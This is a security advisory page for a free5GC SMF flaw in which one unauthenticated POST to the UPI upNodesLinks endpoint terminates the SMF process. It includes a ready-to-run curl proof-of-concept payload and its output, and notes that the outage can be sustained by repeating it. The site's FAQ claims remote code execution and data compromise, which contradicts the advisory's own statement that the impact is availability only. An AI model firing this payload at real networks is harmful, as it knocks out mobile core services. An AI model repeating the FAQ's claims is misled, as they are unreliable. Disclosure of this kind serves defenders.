CVE-2026-44321: free5GC: SMF UPI POST /upi/v1/upNodesLinks exits the SMF process on overlapping UE pools (unauthenticated, reachable Fatalf)

Published May 8, 2026
·
Updated

Summary free5GC's SMF mounts the UPI management route group without inbound OAuth2 middleware (same root cause as free5gc/free5gc#887). The POST /upi/v1/upNodesLinks create-or-update handler accepts attacker-controlled JSON and passes it directly into UpNodesFromConfiguration(), which calls logger.InitLog.Fatalf(...) on several validation failures. One confirmed path is the UE-IP-pool overlap check: a single unauthenticated POST that adds a new UPF whose pool overlaps an existing UPF terminates the entire SMF process (docker ps shows Exited (1)), not just the goroutine. This is a stronger sink than free5gc/free5gc#905: that one panics inside the request goroutine and Gin recovers; this one calls Fatalf which is os.Exit(1)-equivalent and kills the whole SMF process, dropping all of SMF's SBI surface (PDU-session establishment, UE policy lookups, etc.) until the process is restarted.

Details Validated against the SMF container in the official Docker compose lab. - Source repo tag: v4.2.1 - Running Docker image: free5gc/smf:v4.2.1 - Runtime SMF commit: 8385c00a - Docker validation date: 2026-03-22 local (container log timestamp 2026-03-21T23:47:07Z) - SMF endpoint: http://10.100.200.6:8000

The broader UPI auth gap (#887) lets the unauthenticated POST reach the create/update handler. From there:

Vulnerable handler dispatches into topology parsing: POST /upi/v1/upNodesLinks -> UpNodesFromConfiguration() -> isOverlap(allUEIPPools) -> logger.InitLog.Fatalf("overlap cidr value between UPFs")

Code evidence (paths in free5gc/smf): - UPI group mounted WITHOUT auth middleware (preconditions for unauthenticated reachability): - NFs/smf/internal/sbi/server.go:76 - NFs/smf/internal/sbi/server.go:78 - Create-or-update handler accepts attacker JSON and forwards it to UpNodesFromConfiguration(): - NFs/smf/internal/sbi/apiupi.go:60 - NFs/smf/internal/sbi/apiupi.go:72 - Pool parsing (input from attacker JSON): - NFs/smf/internal/context/userplaneinformation.go:413 - Overlap check that calls Fatalf: - NFs/smf/internal/context/userplaneinformation.go:479

The same unauthenticated POST path also reaches sibling Fatalf calls for invalid-pool and static-pool-exclusion failures, so this is not a one-off code smell -- it is a class of attacker-reachable Fatalf call sites on a single unauthenticated handler: - NFs/smf/internal/context/userplaneinformation.go:416 - NFs/smf/internal/context/userplaneinformation.go:424 - NFs/smf/internal/context/userplaneinformation.go:430

PoC Reproduced end-to-end against the running SMF at http://10.100.200.6:8000.

1. Trigger: unauthenticated POST that adds a UPF with a UE pool overlapping the default UPF (10.60.0.0/16): curl -i -X POST http://10.100.200.6:8000/upi/v1/upNodesLinks \ -H 'Content-Type: application/json' \ --data '{"links":[{"A":"gNB1","B":"UPF-OVERLAP-20260322"}],"upNodes":{"UPF-OVERLAP-20260322":{"type":"UPF","nodeID":"198.51.100.20","addr":"198.51.100.20","sNssaiUpfInfos":[{"sNssai":{"sst":1,"sd":"010203"},"dnnUpfInfoList":[{"dnn":"internet","pools":[{"cidr":"10.60.0.0/16"}]}]}]}}}'

Client-side observation (server died mid-request, no HTTP response written): curl: (52) Empty reply from server

2. Confirm the SMF container exited: docker ps -a --filter name=smf --format '{{.Names}}\t{{.Status}}' smf Exited (1) 9 seconds ago

3. SMF container logs (docker logs --tail 80 smf) show the FATA line that terminated the process: [FATA][SMF][Init] overlap cidr value between UPFs

Impact Unauthenticated process-kill DoS on the SMF management plane.

1. Missing inbound authentication (CWE-306) and authorization (CWE-862) on the UPI route group makes the trigger reachable to any off-path network attacker who can reach SMF on the SBI -- no token, no UE state needed. The same-instance nsmf-oam returning 401 (see free5gc/free5gc#887) proves OAuth middleware is wired in for other SMF route groups and only missing on UPI. 2. Reachable assertion / fail-fast (CWE-617): topology parsing calls logger.InitLog.Fatalf(...) on attacker-influenced validation failures. Fatalf is os.Exit(1)-equivalent -- it skips Gin's recovery, the deferred handlers, and kills the whole SMF process. This is materially worse than the related panic-DoS in free5gc/free5gc#905, which Gin recovers from at the goroutine level.

Any party that can reach SMF on the SBI can: - Send one unauthenticated POST with an overlapping UE pool and immediately terminate the SMF process, dropping all of SMF's SBI surface (PDU-session establishment, UE policy interactions) until SMF is restarted. - Repeat the trigger after every restart to sustain the outage. - Use sibling Fatalf paths (invalid-pool, static-pool exclusion) to sustain the same DoS even if the overlap check is hardened in isolation, because the underlying defect is using Fatalf for request-time validation on an unauthenticated handler.

No Confidentiality impact (the crash returns no data to the attacker). No persistent Integrity impact (the topology updates are in-memory and are lost when SMF dies). The whole impact concentrates in Availability: complete loss of SMF service via a single unauthenticated request.

Affected: free5gc v4.2.1.

Upstream issue: https://github.com/free5gc/free5gc/issues/906 Upstream fix: https://github.com/free5gc/smf/pull/203

Other sources

free5GC is an open-source implementation of the 5G core network. Prior to 4.2.2, free5GC's SMF mounts the UPI management route group without inbound OAuth2 middleware. The POST /upi/v1/upNodesLinks create-or-update handler accepts attacker-controlled JSON and passes it directly into UpNodesFromConfiguration(), which calls logger.InitLog.Fatalf(...) on several validation failures. One confirmed path is the UE-IP-pool overlap check: a single unauthenticated POST that adds a new UPF whose pool overlaps an existing UPF terminates the entire SMF process (docker ps shows Exited (1)), not just the goroutine. This vulnerability is fixed in 4.2.2.

MITRE

Affected Software

2 affected components
go/github.com/free5gc/smf<=1.4.3
free5gc Free5gc<4.2.2

Event History

May 8, 2026
Advisory Published
via GitHub·10:47 PM
Data Sourced
via GitHub·10:47 PM
DescriptionSeverityWeaknessAffected Software
May 27, 2026
CVE Published
via MITRE·03:47 PM
Data Sourced
via MITRE·03:47 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·05:16 PM
RemedyDescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2026-44321?

CVE-2026-44321 is considered a significant security vulnerability due to its potential for remote code execution and data compromise.

2

How do I fix CVE-2026-44321?

To mitigate CVE-2026-44321, upgrade the free5GC SMF to version 1.4.4 or later where the vulnerability has been addressed.

3

What software is affected by CVE-2026-44321?

CVE-2026-44321 affects free5GC's SMF package versions up to and including 1.4.3.

4

How does CVE-2026-44321 impact system security?

CVE-2026-44321 can allow attackers to execute arbitrary commands or manipulate system configurations, compromising overall system security.

5

What are the consequences of not addressing CVE-2026-44321?

Failure to address CVE-2026-44321 could result in unauthorized access to sensitive data and exploitation of the affected system.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203